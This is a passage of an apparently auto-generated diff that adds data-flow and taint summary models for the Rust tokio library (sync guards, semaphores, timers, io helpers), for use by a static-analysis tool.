"dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mutex", "Argument[0].Field[crate::sync::mutex::MutexGuard::lock]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::mutex::OwnedMappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::mutex::OwnedMappedMutexGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::mutex", "Argument[0].Field[crate::sync::mutex::OwnedMutexGuard::lock]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::notified", "Argument[self]", "ReturnValue.Field[crate::sync::notify::Notified::notify]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::as_raw", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_raw", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::once_cell::SetError::AlreadyInitializedError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::once_cell::SetError::InitializingError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::const_with_max_readers", "Argument[1]", "ReturnValue.Field[crate::sync::rwlock::RwLock::mr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_read_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::rwlock::owned_read_guard::OwnedRwLockReadGuard::lock]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_write", "Argument[self].Field[crate::sync::rwlock::RwLock::mr]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::rwlock::write_guard::RwLockWriteGuard::permits_acquired]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_write_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::rwlock::owned_write_guard::OwnedRwLockWriteGuard::lock]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with_max_readers", "Argument[1]", "ReturnValue.Field[crate::sync::rwlock::RwLock::mr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::owned_read_guard::OwnedRwLockReadGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::rwlock", "Argument[0].Field[crate::sync::rwlock::owned_read_guard::OwnedRwLockReadGuard::lock]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::owned_write_guard::OwnedRwLockWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::rwlock::owned_write_guard::OwnedRwLockWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::downgrade_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_mapped", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::rwlock", "Argument[0].Field[crate::sync::rwlock::owned_write_guard::OwnedRwLockWriteGuard::lock]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_downgrade_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_downgrade_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::owned_write_guard_mapped::OwnedRwLockMappedWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::rwlock::owned_write_guard_mapped::OwnedRwLockMappedWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::rwlock", "Argument[0].Field[crate::sync::rwlock::owned_write_guard_mapped::OwnedRwLockMappedWriteGuard::lock]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::read_guard::RwLockReadGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::write_guard::RwLockWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::rwlock::write_guard::RwLockWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::downgrade_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_mapped", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_downgrade_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_downgrade_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::sync::rwlock::write_guard_mapped::RwLockMappedWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::sync::rwlock::write_guard_mapped::RwLockMappedWriteGuard::data].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::num_permits", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::semaphore", "Argument[self].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::permits]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many_owned", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::permits]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_many_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::acquire_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::forget_permits", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::permits]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many_owned", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::permits]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_many_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_acquire_owned", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::sync::semaphore::OwnedSemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::num_permits", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::split", "Argument[self].Field[crate::sync::semaphore::SemaphorePermit::sem]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::semaphore::SemaphorePermit::sem]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::has_changed", "Argument[self].Field[crate::sync::watch::Ref::has_changed]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::clone", "Argument[self].Field[crate::sync::watch::Sender::shared].Reference", "ReturnValue.Field[crate::sync::watch::Sender::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::watch::error::SendError(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::send_replace", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::subscribe", "Argument[self].Field[crate::sync::watch::Sender::shared].Reference", "ReturnValue.Field[crate::sync::watch::Receiver::shared]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::version", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self].Field[crate::task::join_set::JoinSet::inner].Field[crate::util::idle_notified_set::IdleNotifiedSet::length]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_join_next", "Argument[self].Field[crate::task::join_set::JoinSet::inner]", "ReturnValue.Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_join_next", "Argument[self].Field[crate::task::join_set::JoinSet::inner]", "ReturnValue.Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_join_next_with_id", "Argument[self].Field[crate::task::join_set::JoinSet::inner]", "ReturnValue.Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_join_next_with_id", "Argument[self].Field[crate::task::join_set::JoinSet::inner]", "ReturnValue.Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::scope", "Argument[0]", "ReturnValue.Field[crate::task::task_local::TaskLocalFuture::slot].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::scope", "Argument[1]", "ReturnValue.Field[crate::task::task_local::TaskLocalFuture::future].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::scope", "Argument[self]", "ReturnValue.Field[crate::task::task_local::TaskLocalFuture::local]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::sync_scope", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_with", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::with", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_waker", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::time::instant::Instant::std]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::time::error::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0]", "ReturnValue.Field[crate::time::instant::Instant::std]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::add_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::sub_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_std", "Argument[0]", "ReturnValue.Field[crate::time::instant::Instant::std]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_std", "Argument[self].Field[crate::time::instant::Instant::std]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::missed_tick_behavior", "Argument[self].Field[crate::time::interval::Interval::missed_tick_behavior]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::period", "Argument[self].Field[crate::time::interval::Interval::period]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::set_missed_tick_behavior", "Argument[0]", "Argument[self].Field[crate::time::interval::Interval::missed_tick_behavior]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deadline", "Argument[self].Field[crate::time::sleep::Sleep::entry].Field[crate::runtime::time::entry::TimerEntry::deadline]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_timeout", "Argument[0]", "ReturnValue.Field[crate::time::sleep::Sleep::entry].Field[crate::runtime::time::entry::TimerEntry::deadline]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_mut", "Argument[self].Field[crate::time::timeout::Timeout::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::get_ref", "Argument[self].Field[crate::time::timeout::Timeout::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::time::timeout::Timeout::value]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_with_delay", "Argument[0]", "ReturnValue.Field[crate::time::timeout::Timeout::value]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new_with_delay", "Argument[1]", "ReturnValue.Field[crate::time::timeout::Timeout::delay]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pack", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pack", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pack", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unpack", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::unpack", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::util::cacheline::CachePadded::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref_mut", "Argument[self].Field[crate::util::cacheline::CachePadded::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::util::cacheline::CachePadded::value]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::insert_idle", "Argument[self]", "ReturnValue.Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::len", "Argument[self].Field[crate::util::idle_notified_set::IdleNotifiedSet::length]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_notified", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_pop_notified", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::util::idle_notified_set::EntryInOneOfTheLists::set]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[0]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::filter]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[self].Field[crate::util::linked_list::LinkedList::head]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::curr]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::drain_filter", "Argument[self]", "ReturnValue.Field[crate::util::linked_list::DrainFilter::list]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::last", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_back", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_back", "Argument[self].Field[crate::util::linked_list::LinkedList::tail].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_front", "Argument[self].Field[crate::util::linked_list::LinkedList::head].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::pop_front", "Argument[self].Field[crate::util::linked_list::LinkedList::head].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::expose_provenance", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_exposed_addr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_seed", "Argument[0].Field[crate::util::rand::RngSeed::r]", "ReturnValue.Field[crate::util::rand::FastRand::two]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from_seed", "Argument[0].Field[crate::util::rand::RngSeed::s]", "ReturnValue.Field[crate::util::rand::FastRand::one]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::replace_seed", "Argument[0].Field[crate::util::rand::RngSeed::r]", "Argument[self].Field[crate::util::rand::FastRand::two]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::replace_seed", "Argument[0].Field[crate::util::rand::RngSeed::s]", "Argument[self].Field[crate::util::rand::FastRand::one]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::replace_seed", "Argument[self].Field[crate::util::rand::FastRand::one]", "ReturnValue.Field[crate::util::rand::RngSeed::s]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::replace_seed", "Argument[self].Field[crate::util::rand::FastRand::two]", "ReturnValue.Field[crate::util::rand::RngSeed::r]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::lock_shard", "Argument[self].Field[crate::util::sharded_list::ShardedList::added]", "ReturnValue.Field[crate::util::sharded_list::ShardGuard::added].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::lock_shard", "Argument[self].Field[crate::util::sharded_list::ShardedList::count]", "ReturnValue.Field[crate::util::sharded_list::ShardGuard::count].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::shard_size", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::into_inner", "Argument[self].Field[crate::util::sync_wrapper::SyncWrapper::value]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::new", "Argument[0]", "ReturnValue.Field[crate::util::sync_wrapper::SyncWrapper::value]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::try_lock", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::util::try_lock::LockGuard::lock]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::deref", "Argument[self].Field[crate::util::wake::WakerRef::waker]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::signal::unix::SignalKind(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "::from", "Argument[0].Field[crate::runtime::scheduler::multi_thread::idle::State(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::join::join", "Argument[0]", "ReturnValue.Field[crate::io::join::Join::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::join::join", "Argument[1]", "ReturnValue.Field[crate::io::join::Join::writer]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::seek::seek", "Argument[0]", "ReturnValue.Field[crate::io::seek::Seek::seek]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::seek::seek", "Argument[1]", "ReturnValue.Field[crate::io::seek::Seek::pos].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::chain::chain", "Argument[0]", "ReturnValue.Field[crate::io::util::chain::Chain::first]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::chain::chain", "Argument[1]", "ReturnValue.Field[crate::io::util::chain::Chain::second]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::fill_buf::fill_buf", "Argument[0]", "ReturnValue.Field[crate::io::util::fill_buf::FillBuf::reader].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::flush::flush", "Argument[0]", "ReturnValue.Field[crate::io::util::flush::Flush::a]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::lines::lines", "Argument[0]", "ReturnValue.Field[crate::io::util::lines::Lines::reader]", "value", "dfc-generated"] + - ["repo:https://github.com/tokio-rs/tokio:tokio", "crate::io::util::read::read", "Argument[0]", 